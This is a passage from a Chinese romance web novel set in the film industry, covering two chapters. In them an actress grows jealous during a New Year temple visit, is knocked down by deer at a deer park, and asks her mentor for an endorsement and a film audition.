苏寄欢愣怔两秒，忽然反应过来什么了，转身走到门前把围巾递给祝星亦，“你戴上，我们下去。” 祝星亦接过围巾老老实实戴上，苏寄欢唇角漾着笑意，一动不动盯着祝星亦看。 昨天还生气炸毛的小狐狸，现在竟然开始乖乖戴上围巾。不过，她在生什么气？苏寄欢想不明白。 但祝星亦系围巾属实是有点草率了，像是在脖子上随便打了个结。 “这样系。”苏寄欢给她调整。 走廊电梯那端，苏如仪喊：“四姐姐，星星，快走啦！” “马上。”苏寄欢边系边回头应着。 终于系好后，苏寄欢拍拍祝星亦的肩，“走吧。” 祝星亦的脸缩在围巾里，闷闷地嗯了一声。 下楼到车库，苏寄欢带祝星亦坐上一辆车。苏黛珊开车，苏蔓语坐在副驾，苏寄欢和祝星亦便坐在后排。 “四姐，你今天早上怎么没来吃饭？”苏蔓语问。 “赖床了。”苏寄欢靠在椅背上阖目。 “呦，你还有赖床的时候，往年都是你催我们起床呢。”苏黛珊笑着调侃。 “四姐你昨天几点睡的？” 苏寄欢的声音懒洋洋的，“很早就睡了。” “下午你们去鹿芜观的话几点回来？回来太晚我们就不等你们了。” “不用等我们。”苏寄欢打了个哈欠，皱着眉把头歪在一旁。 祝星亦转头看她，一脸惫态，憔悴得很，也不知道她昨晚熬夜织围巾织了多久才织出来。 祝星亦摸摸自己脖子上的围巾，柔软温暖，她眼睛瞄到苏寄欢的围巾上，两人围巾的样式差不多，不过苏寄欢的不够精致，底部织的星星一共只有两个，而自己的围巾上，一头就有四个。 心里有个地方拉扯得难受，她张口想要说什么，但一个字也没吐出来。 大年初一来太宁观的人很多，在山脚停完车，苏芙跑过来说：“自由活动吧，人太多了赶不到一起，等十一点多的时候再来这里集合。” “知道了。” 宁安山不是很高，也不陡峭，所以香客很多，平日里溜溜达达就上去了。 一逢这种节假日，道观的香客便多不胜数，清心山那头的清心观也是人头攒动，不过要论规模，太宁观更胜一筹。 爬到山上，苏寄欢一转头没看到祝星亦，四处找了会儿，祝星亦忽然捧着热乎乎的豆浆和面包快步走过来。 她把东西递给苏寄欢，苏寄欢接过。 祝星亦：“你不是早上没吃饭吗？吃一点。” 豆浆热乎乎的，苏寄欢握着杯子走向一旁的椅子坐下。 “你不生我气了？”苏寄欢扬眉笑问。 祝星亦抿着唇低头一言不发。 苏寄欢又问：“你昨天怎么生我气了？你生什么气啊？你跟我说一说，你不说的话，这件事我不知道怎么解决。” 祝星亦别过脸，很生硬地说：“我没有生你气。” 苏寄欢看她那么不高兴，更好奇了。刚要追问，忽然想起被放在枕头上的狐狸玩偶，旋即问：“你还是觉得[狐光熠熠］这个名字不好听吗？” “不好听。” 苏寄欢斜坐着，双腿交叠，腔调懒洋洋的，“那不如换个名字，就叫……苏寄欢，如何？” 身旁的小狐狸忽然坐直身子，一脸愠怒，“你这人好奇怪，怎么会给玩偶起你的名字啊？” 第66章 我吃醋 “这个名字挺好的，你生我气的时候还能捶我几拳。”苏寄欢咬着面包笑看祝星亦的表情，“怎么样？我这主意不错吧？” “没觉得。”祝星亦偏着身子不再搭理苏寄欢。 待苏寄欢吃完喝完，两人才排长队上香。左右拜拜，虔诚恭敬，把祈福带系在树枝上后，双手合十再次许愿。 “你会经常许愿吗？”祝星亦许完愿问仰头看祈福树的苏寄欢，“经常去鹿芜观里的做义工话，是不是每次都会拜一拜，求一求？” 苏寄欢点头，“对。我有时候看到烟花、火光，也会在心里默默许愿。” 祝星亦往她身边站了站，“那你许的愿望有实现的吗？” “有实现的，也有没有实现的。”苏寄欢说，“那你呢？你许的愿有实现的没？” “有。但是有时候愿望成真会付出相应的代价。” “我也是这样，实现一个愿望总是会以牺牲某种东西为代价。但我还是想要继续许愿，因为我对很多事抱有期待。” “那你今天许了什么愿望？” “我许了……”苏寄欢笑看她，“愿望说出来就不灵了，但我可以跟你说是什么类型的。” 祝星亦有点好奇了，“什么类型？” “类型就是…*…”阳光薄薄的，透过满是祈福牌和祈福布条的树洒在苏寄欢脸上，她认真看着祝星亦，带着愉快的尾音回答：“事业，还有姻缘。” 姻缘…… 祝星亦浑身冰冷，几乎说不出话来，缓了好久才撑着身子问：“求……和谁的姻缘。” 苏寄欢看她那么好奇，身子往她那边凑了凑，头微微低下，语调闲散，“你要不猜一猜？” 猜？怎么猜？ 祝星亦攥紧拳头脑子嗡嗡响。 苏寄欢的社交圈里优质女生太多了，又有那么多优秀的员工，这怎么猜？ “我不猜。”祝星亦转身离开祈福树。 苏寄欢忙跟上去，“猜一猜嘛，又不费时间。” “下午去鹿芜观，你要是待得太晚，我就自己打车回去。”祝星亦闷头往前走，她也不知道自己要去哪里，只想赶紧逃避苏寄欢的问题。 “不会待太晚，我到时候直接送你回你家。”苏寄欢跟她并排走，“回我妈家里一趟后，你收拾完东西我就直接带你回家。这次把你带到我家里过年，耽误你和你家人相聚，实在不好意思，我会再准备一份礼物……” “你对谁都这样吗？”祝星亦忽然问，她声音有点尖锐，意有所指般，“送别人回家，送别人礼物？” 苏寄欢被问愣住了，“我对谁……这样过了？” 她从来没有带过别的人回家过年，只带过小狐狸一个人啊。 祝星亦揣兜看群山，山上的风有点大，比山下温度低点，原本一路懵懵的脑袋，现在教风一吹，立马清明不少。 “哦，没事，我随口问问。”祝星亦不再纠结这件事，恢复冷脸后问苏寄欢：“那不要耽搁太久了，回去得太晚我妈她们都睡了，我不想太打扰她们。” “嗯，不会耽搁太久。”苏寄欢应了一句，“那边有卖挂饰的，走，我带你去买点。” 苏寄欢往文创店走，到了后冲祝星亦招手要她快些过去，祝星亦咬着唇快步走去。 不要想，不能想，不去想。祝星亦对自己说。 只是心脏隐隐作痛，她分不清那到底是什么，是怕自己得不到更好的东西，还是别的。 “这个喜欢吗？”苏寄欢拿出一条挂饰。 祝星亦认真看了看挂饰，做工精细，点头答：“喜欢。” “那就送你。” “随便你。” /// 十一点多回去，苏寄欢在车上又睡了。 祝星亦能感受到她的疲惫，熬了个大夜又要爬山拜神，一路上肉眼可见的憔悴。 回去后苏寄欢草草吃了顿饭，到屋子就睡了。约莫两点半，苏寄欢来敲祝星亦的门。 “走了，星星。”苏寄欢喊她下楼。 苏寄欢还在戴着那条围巾，祝星亦拿包的时候瞥了眼取下来的围巾，没有拿起来系上。 “走吧。”祝星亦背着包出门。 苏寄欢指指祝星亦的脖子，“你不戴围巾吗？” 祝星亦随口答：“热，不戴了。” “行。” 去鹿芜观苏寄欢亲自来开车，祝星亦坐副驾。新应区到鹿芜观有些远，苏寄欢在前面放了一些零食，省得祝星亦一路无聊。 “今天我们去鹿芜观的话，除了做一些清理，还要帮忙施斋饭。” “我知道，蔓蔓她们跟我讲过了。” “讲过啦？”苏寄欢有些讶异，“她们什么都跟你讲吗？” “对。”祝星亦拆开一袋零食吃了一口，嚼完深吸一口气，说：“她们跟我说，程偌菲每年也会在这个时间去鹿芜观，你们还会一起帮忙施斋饭。” 苏寄欢握着方向盘看着前面的路哦了一声，“那还挺好，我不用再跟你讲一遍了。” “你没有要补充的东西吗？” 苏寄欢想了想，摇头说：“没有了吧，偌菲她每年都会过去帮忙，除此之外好像没别的了。” “嗯。” “正好你见一见偌菲，你俩还没碰过面呢，我本想着亲自带你去她剧组，但总没时间。” “嗯。” “她性格挺好的，人也善良，你俩多交流交流。” “嗯。”祝星亦拿夹子夹住袋口，靠在椅背上缓了很久说：“苏老师我有点困，先睡了，到了你叫我。” “困了？你……” 苏寄欢还没说完，祝星亦戴上耳机不再吭声。 真是奇怪。 苏寄欢有点想知道苏蔓语她们到底跟祝星亦讲了什么，从昨天到现在都不高兴。 到山底下，苏寄欢停好车抱着相机给祝星亦开车门。 祝星亦出来后拿过相机，苏寄欢不给她，“重，我拿着。” “不用，我要拍东西。”祝星亦夺过相机。 苏寄欢便不再跟她争执。 爬到山腰，祝星亦停下脚步拍林中的小鹿。苏寄欢见她拍得正认真，笑说：“你都拍一路了，拍一下我呗。” 祝星亦低头看拍好的照片，侧眸瞄了她一眼，说：“到山上再拍吧，这里景不是很好看。” “行。” 今天鹿芜观的香客比平时多很多，一路上都是上山下山的人。到鹿芜观门口后，祝星亦看到长椅上坐着一位眼熟的女人。女人一身雾蓝色大衣灰色长裙，恬静的脸藏在微卷齐肩发里，比蒋萱琪那几个人更稳重、柔和。 程偌菲先是起身冲苏寄欢颔首，然后慢慢走过来打招呼，“苏总，新年好。” “新年好。”苏寄欢礼貌致意，她用胳膊撞了下祝星亦，介绍道：“偌菲，这是星星，之前想要你们两个认识认识，但总没时间，今天是个好机会。” 程偌菲早早知道祝星亦成了苏寄欢唯一的学生，不过一直也没时间去主动认识祝星亦。她抿唇笑笑，“星亦你好，你叫我偌菲就行。” 程偌菲主动伸出手。 “你好，偌菲。”祝星亦握上她的手。 “今天你来，我们就多一个人手帮忙了。”程偌菲和苏寄欢对视一眼笑了，“等下除了清扫一下道观，还要给香客们施斋饭，你可不要被吓怕了。” “她来前已经知道了。”苏寄欢同程偌菲说，“不过还是先在这里逛一逛吧，干活就先等一等。” “苏总，道观后面有个鹿场，咱们带她过去转转？”程偌菲提议。 苏寄欢道：“我正好想要带她过去呢。” 说着，笑着跟祝星亦说：“你喜欢拍小鹿的话，等下带你去鹿场那边拍，那边草地也多，你可以跟小鹿们互动互动。” 程偌菲点头，“过去的话去领点玉米和胡萝卜，可以喂给它们。” 听她们这样说，像是去过很多次一样。 祝星亦只嗯嗯两声，没再过多言语。 下午五点才开始施斋饭，帮忙收拾好东西后，程偌菲提议先带祝星亦去鹿场。 “再晚点就要关门了。”程偌菲看了下时间。 “行，走吧星星，带上你的相机。”苏寄欢喊祝星亦去鹿场。 道观后面是一片草甸，往远处走走还有一条山涧小溪。鹿场名叫春海鹿场，养了差不多一两百只鹿，祝星亦过去后就看到小鹿们在啃秃噜皮的草地。 “春天的时候再过来一趟吧。”苏寄欢提议，“春天这里会更漂亮点，新长的草绿油油的，现在这里很荒凉。” 祝星亦站在一旁抓拍可爱的小鹿，嘟囔道：“春天不是要去鸿城吗？你说你要带我去鸿城坐有轨列车的。” 苏寄欢忙说：“去，鸿城也去，这里也去。” 程偌菲听到鸿城忙问：“你们要去鸿城玩？” 苏寄欢点头：“对，我前些日子去鸿城看到有轨列车，觉得春天去坐的话风景会很好，所以想带她去转转。” 程偌菲：“鸿城有个明夏美食街，你们千万不要去，那里东西又贵又难吃，但一般游客去鸿城都会去那里玩，搞不懂。” “行，那就不去。你有好玩好吃的地方推荐给我，我带她去。”苏寄欢说。 “鸿城其实冬天更好玩些，顺西区的宜湾小镇一到下雪就很漂亮。宜湾小镇滨海建设，房子建得低但很有当地特色，下了雪去那边就像去了童话镇。” 苏寄欢挑眉，“是吗？你对鸿城这么了解？” 程偌菲笑说：“我小学的时候在鸿城待过一阵子，所以很了解。” 一只小鹿闯进镜头，祝星亦抿着唇按下快门，低头查看照片，耳朵竖起来听身后两人聊天。 她皱着眉嘟囔道：“聊那么开心，那要不你俩一起去呗，何必还带上我。” 说着，苏寄欢喊祝星亦，“星星，你过来。” 祝星亦不悦地抱着相机走过去，苏寄欢要她跟程偌菲加微信。 苏寄欢招呼着：“让偌菲多给你讲点鸿城的事，偌菲比你大了……” “我比她大三岁。”程偌菲抢答。 苏寄欢嗯了声说：“星星平时接触的东西都很新鲜，你俩应该可以有话聊。” 程偌菲拿出手机准备扫码，祝星亦也掏出手机，嘀的一声，加了好友。 有什么好聊的。祝星亦分组备注后瞥了眼程偌菲，礼貌地说：“好啊，我们平时多聊聊天。” 苏寄欢准备再多说些什么，祝星亦装好手机把相机塞到苏寄欢手里。她拿过苏寄欢手中提着的玉米和胡萝卜说：“我要喂它们吃东西了。” 程偌菲嘱咐：“你小心一点，有的鹿脾气不好，会顶人。” “嗯，我会注意的。”祝星亦提溜着吃的去找鹿。 程偌菲看祝星亦小心翼翼地接近小鹿，先是弯着身子把手里的胡萝卜喂给它，小鹿往前走了两步，祝星亦又被吓得后退几步。 程偌菲被她的动作可爱到了，刚要跟苏寄欢说些什么，却见苏寄欢举起相机，将镜头对准喂鹿的女孩。 连拍了几张，苏寄欢嘴角一直挂着笑意。 程偌菲抬眸说：“她还挺可爱的。” “嗯，我也一直都觉得她很可爱。”苏寄欢低头查看照片，给程偌菲看，“我拍照技术应该还可以？” 程偌菲的脑袋凑过去，照片里的祝星亦弯腰喂小鹿，构图很好，光线也好。 “对，拍得是挺好的。”程偌菲赞叹，“人美，怎么拍都美。我对她的第一印象就是她很漂亮，眼睛灵动，五官明艳，接触下来感觉她性格也很好。” 说到性格好的时候，苏寄欢忽然扑哧一声笑了出来，“她性格好啊？你都不知道我和她第一次见面闹得可不愉快了。” 程偌菲讶异道：“第一次见面闹不愉快？真的？” 在程偌菲印象里，圈子里的人对苏寄欢都是很礼貌的。苏寄欢性子淡淡的、冷冷的，与人之交淡如水，怎么会初次见面就闹不愉快呢？ 苏寄欢回想到第一次和祝星亦见面的场景，嘴角没有放下来过，“是啊，她上来就怼了我几句，我被她怼得哑口无言，就记住她了。” 程偌菲忍俊不禁，“你还能被怼得哑口无言，真看不出来。” “我也没想到我会被她绊住了脚。”苏寄欢再次举起相机按下快门，“这可能叫……缘分？” “缘分？”程偌菲对这个词感到费解，等看到素来对人冷冷淡淡的苏寄欢边笑边按快门时，她仰着头看了苏寄欢的侧脸好久，轻轻地哦了一声。 那边祝星亦喂完一只鹿，歪头看向说说笑笑的两人。 “何必还带我去鸿城呢？你俩那么聊得来，你俩去呗，去小镇看雪，去坐有轨列车。”她越想越不开心，眉头都快拧成了麻花，原本喂鹿的动作也变得有些敷衍起来。 早上她本就想告诉苏寄欢自己不想来这里，两个人倒还好，碰到程偌菲的话，自己不就是多余了？ 现在她就觉得自己多余，瞧见那两人又是看照片又是聊天，她多看了两眼，心里怎么也无法平静下来。 “吃吃吃，就你们贪吃，这有什么好吃的？什么胡萝卜，酸的臭的，呸，难吃。”祝星亦有点想撒气，又撒不出来，只好边喂小鹿胡萝卜边骂骂咧咧。 正喂着，手里装胡萝卜的袋子不知怎的“啪嗒”一声掉在了地上，祝星亦赶忙蹲下身去捡。 身后一只大鹿瞧见她蹲下了，猛地就往她身上撞了过来。 祝星亦毫无防备，整个人一下子被撞倒在地，嘴里发出一阵惊恐的尖叫：“啊！” 她跪趴在地上的模样极其狼狈，腰背被那只大鹿顶得疼痛难耐，这时另一只鹿也跟着凑起了“热闹”，冲过来就朝祝星亦脸前顶了过去。 祝星亦慌乱之中只能用胳膊挡住脸，可手臂还是结结实实地挨了一下，疼得她“嘶”地倒吸一口凉气。 紧接着，那只大鹿又朝着她的腿顶了过来，祝星亦只觉得腿上一阵剧痛，这下再也顾不上别的了，一边大声叫着，一边连滚带爬地往远处跑去。 那几只鹿却跟在她身后紧追不舍，仿佛在跟她玩一场“联合狩猎”，可祝星亦这会儿可没觉得半点好玩，满心都是害怕和狼狈。 “啊啊啊啊啊！救命啊！”祝星亦边跑边呼喊着，惨绝人寰的叫声不绝于耳。 苏寄欢和程偌菲正说着话，突然听到那声尖叫，两人脸色皆是一变看向声源处。 只见不远处草地上，祝星亦狼狈地跑着，身后被几只鹿追着。那鹿追上祝星亦便是一蹄子踢上去，祝星亦疼得又尖叫起来。 苏寄欢大呼不妙，拔腿就往祝星亦那边跑，边跑边喊：“星星！你往我这里跑！” 祝星亦听到苏寄欢的声音，就像抓住了救命稻草一般，使出浑身力气朝着苏寄欢的方向跑去。 她突然调头，鹿追了几步便不追了。等她跑到苏寄欢身旁赶忙躲到苏寄欢身后，大口大口地喘着粗气，模样别提多狼狈了，头发里都夹杂着不少草屑，肋骨处隐隐作痛。 “星亦，你还好吧！”程偌菲赶忙跑过来，一脸担忧，她万万没想到祝星亦居然还是被顶了。 苏寄欢焦急地围着祝星亦转了一圈，上下打量着她，眼里满是担忧，急切地问道：“星星，你被顶到哪里了？快让我看看。” 身上疼是疼，但祝星亦转头看围在自己身边的两人，咬着牙强忍着疼痛说：“我没事，但是等到了春天我不要来这里了。” 顿了顿，又想起施斋饭的事儿，接着说：“快五点了，我们回去施斋。” 说完便扶着腰一瘸一拐地出鹿场，苏寄欢赶忙跟了上去，嘴里念叨着：“不行，得先去看看你伤势，别去帮忙了，我们下山。” 程偌菲也在一旁附和着，“对，先看看你的伤势，不能不管。” “我……”祝星亦还在犹豫，苏寄欢忽然揽住她的肩带着她往前走。 苏寄欢顾不上别的，赶忙带着她下山，一路直奔附近的医院。原本计划好的施斋、打扫，这会儿全都抛到了九霄云外。 匆匆地赶到了医院挂了号进了诊室，医生看着祝星亦这副模样，先问：“这是怎么弄的？” 祝星亦一脸尴尬，小声说：“被鹿踢的。” 医生一听，没忍住笑了出来，祝星亦见状，脸一下子就红到了耳根子。 这种事未免太丢人了，平地摔个大马趴都比被鹿踢了要体面些。 一番检查后，好在没什么大事。医生嘱咐祝星亦得静养几天，还开了膏药以及跌打损伤的药。 三人又赶忙去一楼药房买药，等买完药出来，都快七点了，去观里帮忙那自然是想都别想了。 程偌菲看了看时间，说：“我还有事，得先回去。” 她看向祝星亦，关心道：“你听医生的话，好好静养。” “嗯，那你路上慢点。”祝星亦跟她致意。 “回见。”说着，程偌菲便跟两人打了声招呼转身往外走去。 祝星亦扶着腰，看着程偌菲离去的背影，又瞅了瞅身旁的苏寄欢，心里泛起一股说不出的东西，她皱了皱眉头，嘴上却故作不在意地问苏寄欢：“你不送她回家吗？” 第67章 我们必须卖cp了 “我为什么要送她？”苏寄欢帮忙拿着药，“我送你回家才是。” 说着，脑子里忽然浮现出祝星亦刚才被鹿顶得那副狼狈模样，没忍住“扑哧”一声笑了出来。 祝星亦一听就知道苏寄欢在笑自己，顿时又气又恼，握着拳头说：“赶紧送我回家，等李导那边找好新男主，我还要回去拍戏呢。” 苏寄欢收了收笑意，“《寄明月》定档5月份，在达尼（达尼视频）播出，4月份我们就要配合做剧宣。” “知道了。”祝星亦没好气地扶着腰应了一声。 苏寄欢又接着说：“5月的新剧可不少，竞争力大着呢。等我们都拍完手上的戏再说吧，黎导那边可能还有新的安排，咱们这边配合好就行。” 到了停车场，苏寄欢快步走到车旁，轻轻拉开车门，然后转身朝着祝星亦伸出手，小心翼翼地扶着她往车里走，嘴里还轻声叮嘱着：“慢点儿，小心别磕着了。” 等祝星亦坐好后，苏寄欢又拿起安全带，动作轻柔地拉过，再轻轻扣好。 凛冽的柚子花香扑在脸上，祝星亦垂着眼，犹豫了一下，问：“那是不是剧宣时期，我们要一直待在一起？” 苏寄欢关好车门，绕到驾驶座坐好，一边发动车子一边回道：“是啊。从剧播前到剧终后，我们这些主演都要一起待着上节目呢，要跟着一起直播、上综艺，可有的忙了。” “知道了。”祝星亦应了一声便不再说话，只是静静地看着车窗外不断闪过的风景。 “嗯。我先带你回我妈家拿东西。”苏寄欢说着，便驾车往家的方向驶去。 赶回新应区拿完东西已经快九点了，苏寄欢算了算时间，再送祝星亦回家估计十点左右。 “不如明天再送你回去？现在回去的话未免太晚了些，你不是说怕打扰你妈妈吗？”苏寄欢问。 祝星亦收拾着东西摇头，“十点多不碍事，她们应该还没休息。” “十点多我都要休息了。”苏寄欢打了个哈欠，昨天晚上没睡好，这个点她已经开始犯困了，“等我赶回家不知道几点了。” 她歪着头看祝星亦，浅褐色的眼珠在灯光下像琉璃珠子，脚步往祝星亦那边挪了挪，似在询问也似有答案般问：“那该怎么办呢？总不能疲劳驾驶，不安全。” 祝星亦收拾着东西没有仔细帮她分析，她觉得她不想送自己回去，便说：“我自己打车回去，你先歇着。” 祝星亦的东西不多，三两下收拾完了。她点开手机要去打车，苏寄欢把她的手机抽走。祝星亦夺了两下没夺过来，摊着手问：“我打车不行吗？” 苏寄欢把祝星亦的手机背在身后，她一直觉得祝星亦这两天不开心，但又不知道哪里出了问题。仔细想想这两天好像也没什么事发生，陆仁嘉的事已经解决了，倒是李导的剧等找到新男主后要补拍一些戏份。 剧快拍完了换男主，和男主有对手戏的都要补拍，这种事换到谁身上都不高兴。苏寄欢就这个事安抚了下祝星亦，这种情况下她只能帮忙开解。 祝星亦心不在焉地嗯嗯两声，而后答应在这里再留宿一晚。 “明早我送你回家。”苏寄欢看她同意留宿才把手机给她，“拍戏的事你别多想，这种事迟早会经历，有时候戏拍一半投资人跑路被迫终止拍摄，或者中途更换编剧导演，以及阴阳班底、阴阳剧本，挂羊头卖狗肉……这种情况反抗不了的话，只能寄托工作室维权了。” 祝星亦的工作室还没成立，不过风荇那边已经开始筹备了，如果进程太慢祝星亦会去催一催。以后的路还长，总不能事事都要她和白澜两个人处理，一出事就拜托苏寄欢的话也是麻烦。 “知道了，我不多想。”祝星亦还是不大高兴，低着头摆弄手机，“你回去休息吧，我也要休息了。” “好。” 次日祝星亦拎着东西下楼坐车，苏寄欢看起来精神好了很多，想必昨夜睡得好。 “我带了点东西给你妈妈和妹妹，送你回家顺便给她们拜年。”苏寄欢关上后备厢给祝星亦开副驾驶的门。 祝星亦坐好后要扣安全带，却被苏寄欢一把接过，“少动弹，我来给你扣。” 说着，三两下扣好关上门。 车驶离别墅区，祝星亦打开手机看程偌菲的问候。程偌菲问她的伤怎么样了，祝星亦答她抹了药好多了。 盯着程偌菲的头像好久，祝星亦熄屏深吸一口气问：“苏老师，你跟Ailintase的蓝总很熟吗？” Ailintase是一个美妆品牌，消费人群在20-40岁，祝星亦记得前世程偌菲就代言了这个品牌。 “蓝子蓉啊，我熟。”苏寄欢开着车，察觉祝星亦好像没有昨天那么不对劲了，提着的心放了下来，“Ailintase嘛，最近也是打算去谈合作了，怎么了？” “我想代言Ailintase。”祝星亦扬着下巴靠在椅背上，声音冷静得出奇，“苏老师，你可以帮我争取过来吗？” 苏寄欢扬眉，从两人做师徒到现在，祝星亦还从来没有问她要过什么。每当她想给祝星亦引荐一些资源，祝星亦总是要靠自己来，说什么都不让她插手。 这种情况让她很为难，因为如果祝星亦不需要她的话，那这段师徒关系只浮于表面，无法更近一步。更重要的是，她希望祝星亦需要她，她希望她被祝星亦需要。 被需要，才会被依赖，才会真正地缠成毛线团。而不是她站在原地看着祝星亦跑得远远的，而她没有任何理由插入到她的生命里。 “可以。”苏寄欢爽快答应了。 祝星亦有一丝错愕，“你们在谈合作的话，应该有中意的代言人了吧，你真的愿意……” “你开口的话，那我就中意你了。”苏寄欢侧眸看她一眼，“女团冠军，《寄明月》二番，《和你奔向四季》二番，在同时期流量小花中热度话题都比较高，你挺合适的。” “你不觉得程偌菲也很合适吗？” “那你想要她代言吗？” 祝星亦沉默一会儿说：“我肯定想自己拿到代言，我之前的代言都是团队形式进行的，我还从来没有过个人代言。” “那你现在有了。”苏寄欢说，“等你把《四季》拍完，代言的事就提上日程。最好在4月份左右官宣，也能赶上《寄明月》的热度。” 祝星亦默声。 昨天晚上她想了很多，想来想去她都不该被一些个人因素绊住脚。重生一次是为了往上爬，而不是陷在奇奇怪怪的情感里。 但说到底她也不明白她对苏寄欢抱着什么样的情感，单纯的师徒？相识已久的朋友？需要维持关系的上位者和下位者？或者是别的？ 早上醒来她忽然想开了，她坐苏寄欢的船是为了乘风往前走，既然目的是往前走，目的之外的她无须考虑。 她要当个吸血鬼，她要吸苏寄欢的血，她要啃食苏寄欢的肉，她要洗劫苏寄欢的一切，她要…… 祝星亦知道自己有这种邪恶的想法是不对的，但她强迫自己这样想。只有这样才不会重蹈覆辙，不会…… “苏老师。” “嗯？” “我这边有一个慈善基金会，挺靠谱的，我每个月都会给这个基金会捐款。”祝星亦打开那个基金会的小程序看了看，说：“我之前考察过，她们会点对点帮扶贫困女童。如果你有空的话，可以跟我一起去参加一下她们的募捐会吗？她们这个组织比不上某些慈善机构，我也不懂为什么热度那么低，明明这个基金会在用心做事。” 苏寄欢有些讶异：“你每个月都捐？” “是啊。”祝星亦点头，“想做一些力所能及的事，我家乡以前也很贫穷，会有好心人捐东西过来，我也收到过好心人寄来的书包。” “我也有做慈善，不过都是苏芙那边在帮忙处理。”苏寄欢道，“我会帮你宣传宣传的，至于热度这个事……有些事我们无法决定，但只要用心去做就好。” “谢谢你。”祝星亦松了口气。 不管怎么说，都是帮这个基金会做了一件好事。 她低着头，偷偷看了看苏寄欢。 “8月份ilmeth的《沉默的外乡人》开始选角，我想去试镜。我还没上过大荧幕，不管能不能选上，我都要想试一试。”祝星亦收起多余的想法，“如果你可以引荐我的话，那自然是最好的。” 换作以前，祝星亦并不会开这个口。但现在不一样了，至于哪里不一样，她也说不清楚。 苏寄欢闻言好奇道：“你还关注这个了？” “我一直都在关注各个剧组的动向，毕竟机会都是争取过来的。” 苏寄欢沉吟片刻道：“《外乡人》的班底很强，又是limeth出品，业内好多人都在盯着这块肉。毕竟这部电影谁演谁爆，摘金也很容易。” 《沉默的外乡人》原著《1994.杀》讲述了女主刑警费琳经历一场未能破解的重大刑事案件后主动离职，多年后她再遇同样的作案手法，本要事不关己高高挂起，可挚友安宁竟卷入其中。于是费琳开始协助刑警破案，意外发现了令人震撼不已的秘密。 原著采用纯意识流写作手法，文章的深层内容是时代和社会问题的批判，浅层则是费琳破案。 纯意识流文学改编的难度大，苏寄欢还不知道剧本是怎么写的，但听说会邀请著名编剧薛青芳来改编制作。 薛青芳参与过多部金奖影视的剧本创作，出手就是精品。而且这部电影奔着得奖去的，据说ilmeth那边打算参与瑞林电影节和金粟奖竞赛单元。 如无意外的话，晏瑾年肯定会争夺这个剧本。 “你真想出演这个电影？”苏寄欢问。 祝星亦点头，“对，就算在里面当个炮灰也行。宁做凤尾，不做鸡头，这部电影班底强，又是奔着得奖去的，如果能出演里面的角色，写到简历里面也有含金量。” 苏寄欢叹道：“想拍ilmeth的影视可不简单，她们自己都有很多艺人可选，如果选角的话肯定优先本公司的人。” “试一试也无妨。”祝星亦对出演这部电影也没什么信心，她在ilmeth面前没什么特别拿得出手的作品，想演炮灰都得排队呢，苏寄欢倒是能和别人竞争一下主角的位置。 “你说得对，试一试也无妨。”苏寄欢忽然轻松了些，“8月份我们一起试镜《外乡人》，如何？” 祝星亦愣住了，“一起？” “你试镜安宁，我试镜费琳。”苏寄欢挑了下眉，“不，你也可以试镜费琳，既然都说试一试了，不如把主角也试一试。” 祝星亦没反应过来，“你也去试镜，是……也想参演吗？” “当然。” 祝星亦敛着眸子说：“那你肯定可以成功稳拿费琳这个角色了，我就不一定。” “我也不一定稳拿，这个角色可是个香饽饽，想争的人大把呢。”苏寄欢说，“就这么定了，等我们都拍完戏，你其他通告先推一推，我要给你上点课，补一补这段时间缺席的表演课程，等《寄明月》前宣后宣结束就一起试镜《外乡人》。” 祝星亦还在掰着手指头算行程，苏寄欢说：“不用算了，我们的戏都杀青后，接下来的几个月都会待在一起。如果《外乡人》试镜成功，那我们今年都在一起了。” 她深吸一口气，想到《外乡人》有晏瑾年这个巨大的挡路石不禁一阵烦恼。 算了，遇神杀神遇佛杀佛。 苏寄欢吐出一口气，笑说：“希望我们今年一直都能在一起，这样就不用来来回回跑了，我好好待在你身边，你这样也安心点。” “对不起。” “怎么忽然道歉？” “没什么。”祝星亦揉揉鼻子，“谢谢你。” “你的语言系统好像有点混乱。” “没有的事。” 十字路口红灯，苏寄欢停下车拿出一包零食拆开递给祝星亦，柔软的目光也跟着看了过去，“真没事就好，有事一定要跟我说，我并不是什么都可以猜到，我还是更想你能亲口跟我说你的开心和不开心。既然是师徒，你我之前没有太多需要隐瞒的，我也希望我们的关系可以更近点，更亲密点。” 祝星亦拿出蔬果干咬了一口，闷声说：“我知道了。” “真知道了？” “真知道了。” 苏寄欢偏头静静看了她一会儿，没再说话。 绿灯亮起，车继续行驶。新年的城市和平时没什么区别，但离温暖的春天似乎更近了些。 “如果你真的不想说的话也没关系。”苏寄欢又说，“我慢慢猜的话，肯定可以猜对什么。是不是？” 祝星亦低着头吃零食不说话。 苏寄欢一脸从容地开车，“蔬果干这么脆吗？我也想尝尝。” 话音刚落，一片苹果干递到嘴边。 苏寄欢扬眉，咬下苹果干嚼嚼嚼，“确实脆脆的。” “你要是还吃的话，我还喂你。” “辛苦你了。” “不辛苦。” /// 尚一萍对陆仁嘉搞的那一出大发雷霆，跟酷趣那边理论好久才索取了赔款。陆仁嘉被带走调查免不了蹲局子，等祝星亦再回剧组，李秀恩已经找到了新男主。 好在剧顺利拍下去了，祝星亦配合新男主补拍了很多镜头，又忙活一个多月终于结束了拍摄。 杀青那天祝星亦跟着大家一起举杯，别人庆祝顺利杀青，她庆祝结束了苦日子。 “星亦，真是辛苦你了。”李秀恩过来跟祝星亦敬酒，她对祝星亦还是很有愧的，虽说祝星亦打陆仁嘉那事麻烦了些，但给剧组剔除一个炸弹也算是功德一件。 黎芷恩之前跟李秀恩讲过《寄明月》剧组的事，但当时李秀恩觉得打人这种事可有可无，算不了什么。 直到听说祝星亦把陆仁嘉打得不省人事她才意识到完蛋了，所幸这件事完美解决了。 李秀恩跟祝星亦碰杯，“我以为当时你会暂停拍摄，*没想到那么敬业。” 祝星亦喝下酒说：“决定出演这个角色，哪有中途退缩的道理。不过这次进组确实是经历很多，我算是有所收获。” 李秀恩叹道：“我这次选角真是太失败了，主演做不了主，片场又闹出那么多不愉快，但你的表现真的很不错，我跟寄欢也夸你了。” 祝星亦笑笑，可不得夸她嘛，整个剧组就自己一个正常人。 “我手里要是还有适合你的角色，一定提前约你，肯定不会让别人先插一脚。”李秀恩意有所指。 祝星亦心想，这李秀恩哪里是为了提前约她才给她介绍角色，分明是为了拒绝其他人安插的演员，选择优先坑苏寄欢。 她礼貌应付了两句，转头看到余若。 年后的剧组里余若仍旧没有跟祝星亦主动搭话，过年的祝福语都是群发的，更不要说日常能聊什么天了。 祝星亦瞥了她一眼不想理她。 但余若主动过来跟祝星亦搭话，“祝星亦，杀青快乐。” “你也杀青快乐。”祝星亦懒洋洋道。 “上次……” 